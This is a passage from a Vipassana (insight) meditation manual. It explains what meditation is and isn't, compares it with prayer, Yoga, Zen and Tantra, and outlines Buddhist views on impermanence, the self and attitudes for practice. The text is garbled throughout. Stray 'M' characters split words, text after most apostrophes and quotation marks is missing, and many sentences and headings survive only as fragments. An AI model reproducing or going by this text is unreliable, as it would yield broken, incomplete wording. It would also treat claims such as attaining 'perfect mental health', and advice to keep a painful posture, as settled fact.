have paid vacations, TV sets. We provide free hospitals and sick leaves, Social Security and welfare benefits. All of that is aimed at providing some measure of peace and happiness. Yet the rate of mental illness climbs steadily, and the crime rates rise faster. The streets are crawling with delinquents and unstable individuals. Stick your arms outside the safety of your own door and somebody is very likely to steal your watch! Something is not working. A happy man does not feel driven to kill. We like to think thaM
t our society is exploiting every area of human knowledge in order to achieve peace and happiness.
We are just beginning to realize that we have overdeveloped the material aspect of existence at the expense of the deeper emotional and spiritual aspect, and we are paying the price for that error. It is one thing to talk about degeneration of moral and spiritual fiber in America today, and another thing to do something about it. The place to start is within ourselves. Look carefully inside, truly and objectively, M
and each of us will see moments when
. We will learn to see those moments, see them clearly, cleanly and without condemnation, and we will be on our way up and out of being so.
t make radical changes in the pattern of your life until you begin to see yourself exactly as you are now. As soon as you do that, changes flow naturally. You don
t have to force or struggle or obey rules dictated to you by some authority. You just change. It is automatic. But arriviM
ng at the initial insight is quite a task. You
ve got to see who you are and how you are, without illusion, judgement or resistance of any kind. You
ve got to see your own place in society and your function as a social being. You
ve got to see your duties and obligations to your fellow human beings, and above all, your responsibility to yourself as an individual living with other individuals. And you
ve got to see all of that clearly and as a unit, a single gestalt of interrelationship. It sounds complex, bM
ut it often occurs in a single instant. Mental culture through meditation is without rival in helping you achieve this sort of understanding and serene happiness.
The Dhammapada is an ancient Buddhist text which anticipated Freud by thousands of years. It says:
What you are now is the result of what you were. What you will be tomorrow will be the result of what you are now. The consequences of an evil mind will follow you like the cart follows the ox that pulls it. The consequences of a purified mind will folM
low you like you own shadow. No one can do more for you than your own purified mind
 no parent, no relative, no friend, no one. A well-disciplined mind brings happiness
Meditation is intended to purify the mind. It cleanses the thought process of what can be called psychic irritants, things like greed, hatred and jealousy, things that keep you snarled up in emotional bondage. It brings the mind to a state of tranquility and awareness, a state of concentration and insight.
In our society, we are great beM
lievers in education. We believe that knowledge makes a cultured person civilized. Civilization, however, polishes the person superficially. Subject our noble and sophisticated gentleman to stresses of war or economic collapse, and see what happens. It is one thing to obey the law because you know the penalties and fear the consequences. It is something else entirely to obey the law because you have cleansed yourself from the greed that would make you steal and the hatred that would make you kill. Throw a stone intM
o a stream. The running water would smooth the surface, but the inner part remains unchanged. Take that same stone and place it in the intense fires of a forge, and the whole stone changes inside and outside. It all melts. Civilization changes man on the outside. Meditation softens him within, through and through.
Meditation is called the Great Teacher. It is the cleansing crucible fire that works slowly through understanding. The greater your understanding, the more flexible and tolerant you can be. The greaterM
 your understanding, the more compassionate you can be. You become like a perfect parent or an ideal teacher. You are ready to forgive and forget. You feel love towards others because you understand them. And you understand others because you have understood yourself. You have looked deeply inside and seen self illusion and your own human failings. You have seen your own humanity and learned to forgive and to love. When you have learned compassion for yourself, compassion for others is automatic. An accomplished meM
ditator has achieved a profound understanding of life, and he inevitably relates to the world with a deep and uncritical love.
Meditation is a lot like cultivating a new land. To make a field out of a forest, fist you have to clear the trees and pull out the stumps. Then you till the soil and you fertilize it. Then you sow your seed and you harvest your crops. To cultivate your mind, first you have to clear out the various irritants that are in the way, pull them right out by the root so that they won
ack. Then you fertilize. You pump energy and discipline in the mental soil. Then you sow the seed and you harvest your crops of faith, morality, mindfulness and wisdom.
Faith and morality, by the way, have a special meaning in this context. Buddhism does not advocate faith in the sense of believing something because it is written in a book or attributed to a prophet or taught to you by some authority figure. The meaning here is closer to confidence. It is knowing that something is true because you have seen it wM
ork, because you have observed that very thing within yourself. In the same way, morality is not a ritualistic obedience to some exterior, imposed code of behavior.
The purpose of meditation is personal transformation. The you that goes in one side of the meditation experience is not the same you that comes out the other side. It changes your character by a process of sensitization, by making you deeply aware of your own thoughts, word, and deeds. Your arrogance evaporated and your antagonism dries up. Your mindM
 becomes still and calm. And your life smooths out. Thus meditation properly performed prepares you to meet the ups and down of existence. It reduces your tension, your fear, and your worry. Restlessness recedes and passion moderates. Things begin to fall into place and your life becomes a glide instead of a struggle. All of this happens through understanding.
Meditation sharpens your concentration and your thinking power. Then, piece by piece, your own subconscious motives and mechanics become clear to you. YouM
r intuition sharpens. The precision of your thought increases and gradually you come to a direct knowledge of things as they really are, without prejudice and without illusion. So is this reason enough to bother? Scarcely. These are just promises on paper. There is only one way you will ever know if meditation is worth the effort. Learn to do it right, and do it. See for yourself.
III) WHAT MEDITATION ISN'T
Meditation is a word. You have heard this word before, or you would never have picked up this book. TM
he thinking process operates by association, and all sorts of ideas are associated with the word
. Some of them are probably accurate and others are hogwash. Some of them pertain more properly to other systems of meditation and have nothing to do with Vipassana practice. Before we proceed, it behooves us to blast some of the residue out of our own neuronal circuits so that new information can pass unimpeded. Let us start with some of the most obvious stuff.
We are not going to teach you to contemM
plate your navel or to chant secret syllables. You are not conquering demons or harnessing invisible energies. There are no colored belts given for your performance and you don
t have to shave your head or wear a turban. You don
t even have to give away all your belongings and move to a monastery. In fact, unless your life is immoral and chaotic, you can probably get started right away and make some sort of progress. Sounds fairly encouraging, wouldn
There are many, many books on the subject of M
meditation. Most of them are written from the point of view which lies squarely within one particular religious or philosophical tradition, and many of the authors have not bothered to point this out. They make statements about meditation which sound like general laws, but are actually highly specific procedures exclusive to that particular system of practice. The result is something of a muddle. Worse yet is the panoply of complex theories and interpretations available, all of them at odds with one another. The reM
sult is a real mess and an enormous jumble of conflicting opinions accompanied by a mass of extraneous data. This book is specific. We are dealing exclusively with the Vipassana system of meditation. We are going to teach you to watch the functioning of your own mind in a calm and detached manner so you can gain insight into your own behavior. The goal is awareness, an awareness so intense, concentrated and finely tuned that you will be able to pierce the inner workings of reality itself.
There are a number of cM
ommon misconceptions about meditation. We see them crop up again and again from new students, the same questions over and over. It is best to deal with these things at once, because they are the sort of preconceptions which can block your progress right from the outset. We are going to take these misconceptions one at a time and explode them.
IV) WHAT MEDITATION IS
Meditation is a word, and words are used in different ways by different speakers. This may seem like a trivial point, but it is not. It is quiteM
 important to distinguish exactly what a particular speaker means by the words he uses. Every culture on earth, for example, has produced some sort of mental practice which might be termed meditation. It all depends on how loose a definition you give to that word. Everybody does it, from Africans to Eskimos. The techniques are enormously varied, and we will make no attempt to survey them. There are other books for that. For the purpose of this volume, we will restrict our discussion to those practices best known toM
 Western audiences and most likely associated with the term meditation.
Within the Judeo-Christian tradition we find two overlapping practices called prayer and contemplation. Prayer is a direct address to some spiritual entity. Contemplation in a prolonged period of conscious thought about some specific topic, usually a religious ideal or scriptural passage. From the standpoint of mental culture, both of these activities are exercises in concentration. The normal deluge of conscious thought is restricted, and tM
he mind is brought to one conscious area of operation. The results are those you find in any concentrative practice: deep calm, a physiological slowing of the metabolism and a sense of peace and well-being.
Out of the Hindu tradition comes Yogic meditation, which is also purely concentrative. The traditional basic exercises consist of focusing the mind on a single object a stone, a candle flame, a syllable or whatever, and not allowing it to wander. Having acquired the basic skill, the Yogi proceeds to expand hiM
s practice by taking on more complex objects of meditation chants, colorful religious images, energy channels in the body and so forth. Still, no matter how complex the object of meditation, the meditation itself remains purely an exercise in concentration.
Within the Buddhist tradition, concentration is also highly valued. But a new element is added and more highly stressed. That element is awareness. All Buddhist meditation aims at the development of awareness, using concentration as a tool. The Buddhist tradiM
tion is very wide, however, and there are several diverse routes to this goal. Zen meditation uses two separate tacks. The first is the direct plunge into awareness by sheer force of will. You sit down and you just sit, meaning that you toss out of your mind everything except pure awareness of sitting. This sounds very simple. It is not. A brief trial will demonstrate just how difficult it really is. The second Zen approach used in the Rinzai school is that of tricking the mind out of conscious thought and into purM
e awareness. This is done by giving the student an unsolvable riddle which he must solve anyway, and by placing him in a horrendous training situation. Since he cannot flee from the pain of the situation, he must flee into a pure experience of the moment. There is nowhere else to go. Zen is tough. It is effective for many people, but it is really tough.
Another stratagem, Tantric Buddhism, is nearly the reverse. Conscious thought, at least the way we usually do it, is the manifestation of ego, the you that you uM
sually think that you are. Conscious thought is tightly connected with self-concept. The self-concept or ego is nothing more than a set of reactions and mental images which are artificially pasted to the flowing process of pure awareness. Tantra seeks to obtain pure awareness by destroying this ego image. This is accomplished by a process of visualization. The student is given a particular religious image to meditate upon, for example, one of the deities from the Tantric pantheon. He does this in so thorough a fashM
ion that he becomes that entity. He takes off his own identity and puts on another. This takes a while, as you might imagine, but it works. During the process, he is able to watch the way that the ego is constructed and put in place. He comes to recognize the arbitrary nature of all egos, including his own, and he escapes from bondage to the ego. He is left in a state where he may have an ego if he so chooses, either his own or whichever other he might wish, or he can do without one. Result: pure awareness. Tantra M
is not exactly a game of patty cake either.
Vipassana is the oldest of Buddhist meditation practices. The method comes directly from the Sitipatthana Sutta, a discourse attributed to Buddha himself. Vipassana is a direct and gradual cultivation of mindfulness or awareness. It proceeds piece by piece over a period of years. The student
s attention is carefully directed to an intense examination of certain aspects of his own existence. The meditator is trained to notice more and more of his own flowing life expeM
rience. Vipassana is a gentle technique. But it also is very, very thorough. It is an ancient and codified system of sensitivity training, a set of exercises dedicated to becoming more and more receptive to your own life experience. It is attentive listening, total seeing and careful testing. We learn to smell acutely, to touch fully and really pay attention to what we feel. We learn to listen to our own thoughts without being caught up in them.
The object of Vipassana practice is to learn to pay attention. We tM
hink we are doing this already, but that is an illusion. It comes from the fact that we are paying so little attention to the ongoing surge of our own life experiences that we might just as well be asleep. We are simply not paying enough attention to notice that we are not paying attention. It is another Catch-22.
Through the process of mindfulness, we slowly become aware of what we really are down below the ego image. We wake up to what life really is. It is not just a parade of ups and downs, lollipops and smaM
cks on the wrist. That is an illusion. Life has a much deeper texture than that if we bother to look, and if we look in the right way.
Vipassana is a form of mental training that will teach you to experience the world in an entirely new way. You will learn for the first time what is truly happening to you, around you and within you. It is a process of self-discovery, a participatory investigation in which you observe your own experiences while participating in them, and as they occur. The practice must be approaM
ched with this attitude.
Never mind what I have been taught. Forget about theories and prejudgments and stereotypes. I want to understand the true nature of life. I want to know what this experience of being alive really is. I want to apprehend the true and deepest qualities of life, and I don
t want to just accept somebody else
s explanation. I want to see it for myself.
 If you pursue your meditation practice with this attitude, you will succeed. You
ll find yourself observing things objectively, exM
flowing and changing from moment to moment. Life then takes on an unbelievable richness which cannot be described. It has to be experienced.
The Pali term for Insight meditation is Vipassana Bhavana. Bhavana comes from the root
, which means to grow or to become. Therefore Bhavana means to cultivate, and the word is always used in reference to the mind. Bhavana means mental cultivation.
 is derived from two roots.
 means seeing or perceiving.
 prefix with the complex set of connotations. The basic meaning is
 But there also is the connotation of both
. The whole meaning of the word is looking into something with clarity and precision, seeing each component as distinct and separate, and piercing all the way through so as to perceive the most fundamental reality of that thing. This process leads to insight into the basic reality of whatever is being inspected. Put it all together and
 means the cultivation of the mind, aimed at seeing in a special way that leads to insight and to full understanding.
In Vipassana mediation we cultivate this special way of seeing life. We train ourselves to see reality exactly as it is, and we call this special mode of perception
 This process of mindfulness is really quite different from what we usually do. We usually do not look into what is really there in front of us. We see life through a screen of thoughts and concepts, and we mistakeM
 those mental objects for the reality. We get so caught up in this endless thought stream that reality flows by unnoticed. We spend our time engrossed in activity, caught up in an eternal pursuit of pleasure and gratification and an eternal flight from pain and unpleasantness. We spend all of our energies trying to make ourselves feel better, trying to bury our fears. We are endlessly seeking security. Meanwhile, the world of real experience flows by untouched and untasted. In Vipassana meditation we train ourselveM
s to ignore the constant impulses to be more comfortable, and we dive into the reality instead. The ironic thing is that real peace comes only when you stop chasing it. Another Catch-22.
When you relax your driving desire for comfort, real fulfillment arises. When you drop your hectic pursuit of gratification, the real beauty of life comes out. When you seek to know the reality without illusion, complete with all its pain and danger, that is when real freedom and security are yours. This is not some doctrine we M
are trying to drill into you. This is an observable reality, a thing you can and should see for yourself.
Buddhism is 2500 years old, and any thought system of that vintage has time to develop layers and layers of doctrine and ritual. Nevertheless, the fundamental attitude of Buddhism is intensely empirical and anti-authoritarian. Gotama the Buddha was a highly unorthodox individual and real anti-traditionalist. He did not offer his teaching as a set of dogmas, but rather as a set of propositions for each indiviM
dual to investigate for himself. His invitation to one and all was
. One of the things he said to his followers was
Place no head above your own
. By this he meant, don
t accept somebody else
s word. See for yourself.
We want you to apply this attitude to every word you read in this manual. We are not making statements that you would accept merely because we are authorities in the field. Blind faith has nothing to do with this. These are experiential realities. Learn to adjust your modM
e of perception according to instructions given in the book, and you will see for yourself. That and only that provides ground for your faith. Insight meditation is essentially a practice of investigative personal discovery.
Having said this, we will present here a very short synopsis of some of the key points of Buddhist philosophy. We make not attempt to be thorough, since that has been quite nicely done in many other books. This material is essential to understanding Vipassana, therefore, some mention must beM
From the Buddhist point of view, we human beings live in a very peculiar fashion. We view impermanent things as permanent, though everything is changing all around us. The process of change is constant and eternal. As you read these words, your body is aging. But you pay no attention to that. The book in your hand is decaying. The print is fading and the pages are becoming brittle. The walls around you are aging. The molecules within those walls are vibrating at an enormous rate, and everything is shiftinM
g, going to pieces and dissolving slowly. You pay no attention to that, either. Then one day you look around you. Your body is wrinkled and squeaky and you hurt. The book is a yellowed, useless lump; the building is caving in. So you pine for lost youth and you cry when the possessions are gone. Where does this pain come from? It comes from your own inattention. You failed to look closely at life. You failed to observe the constantly shifting flow of the world as it went by. You set up a collection of mental constrM
, and you assume that they would endure forever. They never do. But you can tune into the constantly ongoing change. You can learn to perceive your life as an ever-flowing movement, a thing of great beauty like a dance or symphony. You can learn to take joy in the perpetual passing away of all phenomena. You can learn to live with the flow of existence rather than running perpetually against the grain. You can learn this. It is just a matter of time and training.M
Our human perceptual habits are remarkably stupid in some ways. We tune out 99% of all the sensory stimuli we actually receive, and we solidify the remainder into discrete mental objects. Then we react to those mental objects in programmed habitual ways. An example: There you are, sitting alone in the stillness of a peaceful night. A dog barks in the distance. The perception itself is indescribably beautiful if you bother to examine it. Up out of that sea of silence come surging waves of sonic vibration. You stM
art to hear the lovely complex patterns, and they are turned into scintillating electronic stimulations within the nervous system. The process is beautiful and fulfilling in itself. We humans tend to ignore it totally. Instead, we solidify that perception into a mental object. We paste a mental picture on it and we launch into a series of emotional and conceptual reactions to it.
There is that dog again. He is always barking at night. What a nuisance. Every night he is a real bother. Somebody should do somethingM
. Maybe I should call a cop. No, a dog catcher. So, I
ll call the pound. No, maybe I
ll just write a real nasty letter to the guy who owns that dog. No, too much trouble. I
ll just get an ear plug.
 They are just perceptual and mental habits. You learn to respond this way as a child by copying the perceptual habits of those around you. These perceptual responses are not inherent in the structure of the nervous system. The circuits are there. But this is not the only way that our mental machinery can be usedM
. That which has been learned can be unlearned. The first step is to realize what you are doing, as you are doing it, and stand back and quietly watch.
From the Buddhist perspective, we humans have a backward view of life. We look at what is actually the cause of suffering and we see it as happiness. The cause of suffering is that desire- aversion syndrome which we spoke of earlier. Up pops a perception. It could be anything
a beautiful girl, a handsome guy, speed boat, thug with a gun, truck bearing down on yM
ou, anything. Whatever it is, the very next thing we do is to react to the stimulus with a feeling about it.
Take worry. We worry a lot. Worry itself is the problem. Worry is a process. It has steps. Anxiety is not just a state of existence but a procedure. What you
ve got to do is to look at the very beginning of that procedure, those initial stages before the process has built up a head of steam. The very first link of the worry chain is the grasping/rejecting reaction. As soon as some phenomenon pops into tM
he mind, we try mentally to grab onto it or push it away. That sets the worry response in motion. Luckily, there is a handy little tool called Vipassana meditation which you can use to short-circuit the whole mechanism.
Vipassana meditation teaches us how to scrutinize our own perceptual process with great precision. We learn to watch the arising of thought and perception with a feeling of serene detachment. We learn to view our own reactions to stimuli with calm and clarity. We begin to see ourselves reacting wM
ithout getting caught up in the reactions themselves. The obsessive nature of thought slowly dies. We can still get married. We can still step out of the path of the truck. But we don
t need to go through hell over either one.
This escape from the obsessive nature of thought produces a whole new view of reality. It is a complete paradigm shift, a total change in the perceptual mechanism. It brings with it the feeling of peace and rightness, a new zest for living and a sense of completeness to every activity. BM
ecause of these advantages, Buddhism views this way of looking at things as a correct view of life and Buddhist texts call it seeing things as they really are.
Vipassana meditation is a set of training procedures which open us gradually to this new view of reality as it truly is. Along with this new reality goes a new view of the most central aspect of reality:
. A close inspection reveals that we have done the same thing to
 that we have done to all other perceptions. We have taken a flowing vorM
tex of thought, feeling and sensation and we have solidified that into a mental construct. Then we have stuck a label onto it,
. And forever after, we treat it as if it were a static and enduring entity. We view it as a thing separate from all other things. We pinch ourselves off from the rest of that process of eternal change which is the universe. And then we grieve over how lonely we feel. We ignore our inherent connectedness to all other beings and we decide that
 have to get more for
hen we marvel at how greedy and insensitive human beings are. And on it goes. Every evil deed, every example of heartlessness in the world stems directly from this false sense of
 as distinct from all else that is out there.
Explode the illusion of that one concept and your whole universe changes. Don
t expect to do this overnight, though. You spent your whole life building up that concept, reinforcing it with every thought, word, and deed over all those years. It is not going to evaporate instantly. BM
ut it will pass if you give it enough time and enough attention. Vipassana meditation is a process by which it is dissolved. Little by little, you chip away at it just by watching it.
 concept is a process. It is a thing we are doing. In Vipassana we learn to see that we are doing it, when we are doing it and how we are doing it. Then it moves and fades away, like a cloud passing through the clear sky. We are left in a state where we can do it or not do it, whichever seems appropriate to the situationM
. The compulsiveness is gone. We have a choice.
These are all major insights, of course. Each one is a deep- reaching understanding of one of the fundamental issues of human existence. They do not occur quickly, nor without considerable effort. But the payoff is big. They lead to a total transformation of your life. Every second of your existence thereafter is changed. The meditator who pushes all the way down this track achieves perfect mental health, a pure love for all that lives and complete cessation of sufM
fering. That is not small goal. But you don
t have to go all the way to reap benefits. They start right away and they pile up over the years. It is a cumulative function. The more you sit, the more you learn about the real nature of your won existence. The more hours you spend in meditation, the greater your ability to calmly observe every impulse and intention, every thought and emotion just as it arises in the mind. Your progress to liberation is measured in cushion-man hours. And you can stop any time you
 had enough. There is no stick over your head except your own desire to see the true quality of life, to enhance your own existence and that of others.
Vipassana meditation is inherently experiential. It is not theoretical. In the practice of mediation you become sensitive to the actual experience of living, to how things feel. You do not sit around developing subtle and aesthetic thoughts about living. You live. Vipassana meditation more than anything else is learning to live.
t century, Western science and physics have made a startling discovery. We are part of the world we view. The very process of our observation changes the things we observe. As an example, an electron is an extremely tiny item. It cannot be viewed without instrumentation, and that apparatus dictates what the observer will see. If you look at an electron in one way, it appears to be a particle, a hard little ball that bounces around in nice straight paths. When you view it another way, an electron appears to be a wavM
e form, with nothing solid about it. It glows and wiggles all over the place. An electron is an event more than a thing. And the observer participates in that event by the very process of his or her observation. There is no way to avoid this interaction.
Eastern science has recognized this basic principle for a very long time. The mind is a set of events, and the observer participates in those events every time he or she looks inward. Meditation is participatory observation. What you are looking at responds to tM
he process of looking. What you are looking at is you, and what you see depends on how you look. Thus the process of meditation is extremely delicate, and the result depends absolutely on the state of mind of the meditator. The following attitudes are essential to success in practice. Most of them have been presented before. But we bring them together again here as a series of rules for application.
t expect anything. Just sit back and see what happens. Treat the whole thing as an experiment. Take an acM
tive interest in the test itself. But don
t get distracted by your expectations about results. For that matter, don
t be anxious for any result whatsoever. Let the meditation move along at its own speed and in its own direction. Let the meditation teach you what it wants you to learn. Meditative awareness seeks to see reality exactly as it is. Whether that corresponds to our expectations or not, it requires a temporary suspension of all our preconceptions and ideas. We must store away our images, opinions and iM
nterpretations someplace out of the way for the duration. Otherwise we will stumble over them.
t force anything or make grand exaggerated efforts. Meditation is not aggressive. There is no violent striving. Just let your effort be relaxed and steady.
t rush: There is no hurry, so take you time. Settle yourself on a cushion and sit as though you have a whole day. Anything really valuable takes time to develop. Patience, patience, patience.
t cling to anything and dM
t reject anything: Let come what comes and accommodate yourself to that, whatever it is. If good mental images arise, that is fine. If bad mental images arise, that is fine, too. Look on all of it as equal and make yourself comfortable with whatever happens. Don
t fight with what you experience, just observe it all mindfully.
5. Let go: Learn to flow with all the changes that come up. Loosen up and relax.
6. Accept everything that arises: Accept your feelings, even the ones you wish you did not have. AM
ccept your experiences, even the ones you hate. Don
t condemn yourself for having human flaws and failings. Learn to see all the phenomena in the mind as being perfectly natural and understandable. Try to exercise a disinterested acceptance at all times and with respect to everything you experience.
7. Be gentle with yourself: Be kind to yourself. You may not be perfect, but you are all you
ve got to work with. The process of becoming who you will be begins first with the total acceptance of who you are.
8. Investigate yourself: Question everything. Take nothing for granted. Don
t believe anything because it sounds wise and pious and some holy men said it. See for yourself. That does not mean that you should be cynical, impudent or irreverent. It means you should be empirical. Subject all statements to the actual test of your experience and let the results be your guide to truth. Insight meditation evolves out of an inner longing to wake up to what is real and to gain liberating insight to the true structure of eM
xistence. The entire practice hinges upon this desire to be awake to the truth. Without it, the practice is superficial.
9. View all problems as challenges: Look upon negatives that arise as opportunities to learn and to grow. Don
t run from them, condemn yourself or bear your burden in saintly silence. You have a problem? Great. More grist for the mill. Rejoice, dive in and investigate.
t need to figure everything out. Discursive thinking won
t free you from the trap. In medM
iation, the mind is purified naturally by mindfulness, by wordless bare attention. Habitual deliberation is not necessary to eliminate those things that are keeping you in bondage. All that is necessary is a clear, non-conceptual perception of what they are and how they work. That alone is sufficient to dissolve them. Concepts and reasoning just get in the way. Don
t dwell upon contrasts: Differences do exist between people, but dwelling upon then is a dangerous process. Unless carefullM
y handled, it leads directly to egotism. Ordinary human thinking is full of greed, jealousy and pride. A man seeing another man on the street may immediately think,
He is better looking than I am.
 The instant result is envy or shame. A girl seeing another girl may think,
I am prettier than she is.
 The instant result is pride. This sort of comparison is a mental habit, and it leads directly to ill feeling of one sort or another: greed, envy, pride, jealousy, hatred. It is an unskillful mental state, but M
we do it all the time. We compare our looks with others, our success, our accomplishments, our wealth, possessions, or I.Q. and all these lead to the same place
estrangement, barriers between people, and ill feeling.
s job is to cancel this unskillful habit by examining it thoroughly, and then replacing it with another. Rather than noticing the differences between self and others, the meditator trains himself to notice similarities. He centers his attention on those factors that are universal tM
o all life, things that will move him closer to others. Thus his comparison, if any, leads to feelings of kinship rather than feelings of estrangement.
Breathing is a universal process. All vertebrates breathe in essentially the same manner. All living things exchange gasses with their environment in some way or other. This is one of the reasons that breathing is chosen as the focus of meditation. the meditator is advised to explore the process of his own breathing as a vehicle for realizing his own inherent conM
nectedness with the rest of life. This does not mean that we shut our eyes to all the differences around us. Differences exist. It means simply that we de-emphasize contrasts and emphasize the universal factors. The recommended procedure is as follows:
When the meditator perceives any sensory object, he is not to dwell upon it in the ordinary egotistical way. He should rather examine the very process of perception itself. He should watch the feelings that arise and the mental activities that follow. He should noM
te the changes that occur in his own consciousness as a result. In watching all these phenomena, the meditator must be aware of the universality of what he is seeing. That initial perception will spark pleasant, unpleasant or neutral feelings. That is a universal phenomenon. It occurs in the mind of others just as it does in his, and he should see that clearly. Following these feelings various reactions may arise. He may feel greed, lust, or jealousy. He may feel fear, worry, restlessness or boredom. These reactionM
s are universal. He simple notes them and then generalizes. He should realize that these reactions are normal human responses and can arise in anybody.
The practice of this style of comparison may feel forced and artificial at first, but it is no less natural than what we ordinarily do. It is merely unfamiliar. With practice, this habit pattern replaces our normal habit of egoistic comparing and feels far more natural in the long run. We become very understanding people as a result. we no longer get upset by theM
 failings of others. We progress toward harmony with all life.
Although there are many subjects of meditation, we strongly recommend you start with focusing your total undivided attention on your breathing to gain some degree of shallow concentration. Remember that you are not practicing a deep absorption or pure concentration technique. You are practicing mindfulness for which you need only a certain degree of shallow concentration. You want to cultivate mindfulness culminating in insight M
and wisdom to realize the truth as it is. You want to know the working of your body-mind complex exactly as it is. You want to get rid of all psychological annoyance to make your life really peaceful and happy.
The mind cannot be purified without seeing things as they really are.
Seeing things as they really are
 is such a heavily loaded and ambiguous phrase. Many beginning meditators wonder what we mean, for anyone who has clear eye sight can see objects as they are.
When we use this phrase in referenceM
 to insight gained from our meditation, what we mean is not seeing things superficially with our regular eyes, but seeing things with wisdom as they are in themselves. Seeing with wisdom means seeing things within the framework of our body/mind complex without prejudices or biases springing from our greed, hatred and delusion. Ordinarily when we watch the working of our mind/body complex, we tend to hide or ignore things which are not pleasant to us and to hold onto things which are pleasant. This is because our miM
nds are generally influenced by our desires, resentment and delusion. Our ego, self or opinions get in our way and color our judgment.
When we mindfully watch our bodily sensations, we should not confuse them with mental formations, for bodily sensations can arise without anything to do with the mind. For instance, we sit comfortably. After a while, there can arise some uncomfortable feeling on our back or in our legs. Our mind immediately experiences that discomfort and forms numerous thoughts around the feelinM
g. At that point, without trying to confuse the feeling with the mental formations, we should isolate the feeling as feeling and watch it mindfully. Feeling is one of the seven universal mental factors. The other six are contact, perception, mental formations, concentration, life force, and awareness.
At another time, we may have a certain emotion such as, resentment, fear, or lust. Then we should watch the emotion exactly as it is without trying to confuse it with anything else. When we bundle our form, feelingM
, perceptions, mental formations and consciousness up into one and try to watch all of them as feeling, we get confused, as we will not be able to see the source of feeling. If we simply dwell upon the feeling alone, ignoring other mental factors, our realization of truth becomes very difficult. We want to gain the insight into the experience of impermanence to overcome our resentment; our deeper knowledge of unhappiness overcomes our greed which causes our unhappiness; our realization of selflessness overcomes ignM
orance arising from the notion of self. We should see the mind and body separately first. Having comprehended them separately, we should see their essential interconnectedness. As our insight becomes sharp, we become more and more aware of the fact that all the aggregates are cooperating to work together. None can exist without the other. We can see the real meaning of the famous metaphor of the blind man who has a healthy body to walk and the disabled person who has very good eyes to see. Neither of them alone canM
 do much for himself. But when the disabled person climbs on the shoulders of the blind man, together they can travel and achieve their goals easily. Similarly, the body alone can do nothing for itself. It is like a log unable to move or do anything by itself except to become a subject of impermanence, decay and death. The mind itself can do nothing without the support of the body. When we mindfully watch both body and mind, we can see how many wonderful things they do together.
As long as we are sitting in one M
place we may gain some degree of mindfulness. Going to a retreat and spending several days or several months watching our feelings, perceptions, countless thoughts and various states of consciousness may make us eventually calm and peaceful. Normally we do not have that much time to spend in one place meditating all the time. Therefore, we should find a way to apply our mindfulness to our daily life in order for us to be able to handle daily unforeseeable eventualities. What we face every day is unpredictable. ThinM
gs happen due to multiple causes and conditions, as we are living in a conditional and impermanent world. Mindfulness is our emergency kit, readily available at our service at any time. When we face a situation where we feel indignation, if we mindfully investigate our own mind, we will discover bitter truths in ourselves. That is we are selfish; we are egocentric; we are attached to our ego; we hold on to our opinions; we think we are right and everybody else is wrong; we are prejudices; we are biased; and at the M
bottom of all of this, we do not really love ourselves. This discovery, though bitter, is a most rewarding experience. And in the long run, this discovery delivers us from deeply rooted psychological and spiritual suffering.
Mindfulness practice is the practice of one hundred percent honesty with ourselves. When we watch our own mind and body, we notice certain things that are unpleasant to realize. As we do not like them, we try to reject them. What are the things we do not like? We do not like to detach ourselM
ves from loved ones or to live with unloved ones. We include not only people, places and material things into our likes and dislikes, but opinions, ideas, beliefs and decisions as well. We do not like what naturally happens to us. We do not like, for instance, growing old, becoming sick, becoming weak or showing our age, for we have a great desire to preserve our appearance. We do not like someone pointing out our faults, for we take great pride in ourselves. We do not like someone to be wiser than we are, for we aM
re deluded about ourselves. These are but a few examples of our personal experience of greed, hatred and ignorance.
When greed, hatred and ignorance reveal themselves in our daily lives, we use our mindfulness to track them down and comprehend their roots. The root of each of these mental states in within ourselves. If we do not, for instance, have the root of hatred, nobody can make us angry, for it is the root of our anger that reacts to somebody
s actions or words or behavior. If we are mindful, we will dilM
igently use our wisdom to look into our own mind. If we do not have hatred in us we will not be concerned when someone points out our shortcomings. Rather, we will be thankful to the person who draws our attention to our faults. We have to be extremely wise and mindful to thank the person who explicates our faults so we will be able to tread the upward path toward improving ourselves. We all have blind spots. The other person is our mirror for us to see our faults with wisdom. We should consider the person who showM
s our shortcomings as one who excavates a hidden treasure in us that we were unaware of. It is by knowing the existence of our deficiencies that we can improve ourselves. Improving ourselves is the unswerving path to the perfection which is our goal in life. Only by overcoming weaknesses can we cultivate noble qualities hidden deep down in our subconscious mind. Before we try to surmount our defects, we should what they are.
If we are sick, we must find out the cause of our sickness. Only then can we get treatmeM
nt. If we pretend that we do not have sickness even though we are suffering, we will never get treatment. Similarly, if we think that we don
t have these faults, we will never clear our spiritual path. If we are blind to our own flaws, we need someone to point them out to us. When they point out our faults, we should be grateful to them like the Venerable Sariputta, who said:
Even if a seven-year-old novice monk points out my mistakes, I will accept them with utmost respect for him.
 Ven. Sariputta was an ArM
ahant who was one hundred percent mindful and had no fault in him. But since he did not have any pride, he was able to maintain this position. Although we are not Arahants, we should determine to emulate his example, for our goal in life also is to attain what he attained.
Of course the person pointing out our mistakes himself may not be totally free from defects, but he can see our problems as we can see his faults, which he does not notice until we point them out to him.
Both pointing out shortcomings and rM
esponding to them should be done mindfully. If someone becomes unmindful in indicating faults and uses unkind and harsh language, he might do more harm than good to himself as well as to the person whose shortcomings he points out. One who speaks with resentment cannot be mindful and is unable to express himself clearly. One who feels hurt while listening to harsh language may lose his mindfulness and not hear what the other person is really saying. We should speak mindfully and listen mindfully to be benefitted byM
 talking and listening. When we listen and talk mindfully, our minds are free from greed, selfishness, hatred and delusion.
As meditators, we all must have a goal, for if we do not have a goal, we will simply be groping in the dark blindly following somebody
s instructions on meditation. There must certainly be a goal for whatever we do consciously and willingly. It is not the Vipassana meditator
s goal to become enlightened before other people or to have more power or to make more profit than oM
thers, for mindfulness meditators are not in competition with each other.
Our goal is to reach the perfection of all the noble and wholesome qualities latent in our subconscious mind. This goal has five elements to it: Purification of mind, overcoming sorrow and lamentation, overcoming pain and grief, treading the right path leading to attainment of eternal peace, and attaining happiness by following that path. Keeping this fivefold goal in mind, we can advance with hope and confidence to reach the goal.
Once you sit, do not change the position again until the end of the time you determined at the beginning. Suppose you change your original position because it is uncomfortable, and assume another position. What happens after a while is that the new position becomes uncomfortable. Then you want another and after a while, it too becomes uncomfortable. So you may go on shifting, moving, changing one position to another the whole time you are on your mediation cushion and you may not gain a deep and meaningfulM
 level of concentration. Therefore, do not change your original position, no matter how painful it is.
To avoid changing your position, determine at the beginning of meditation how long you are going to meditate. If you have never meditated before, sit motionless not longer than twenty minutes. As you repeat your practice, you can increase your sitting time. The length of sitting depends on how much time you have for sitting meditation practice and how long you can sit without excruciating pain.
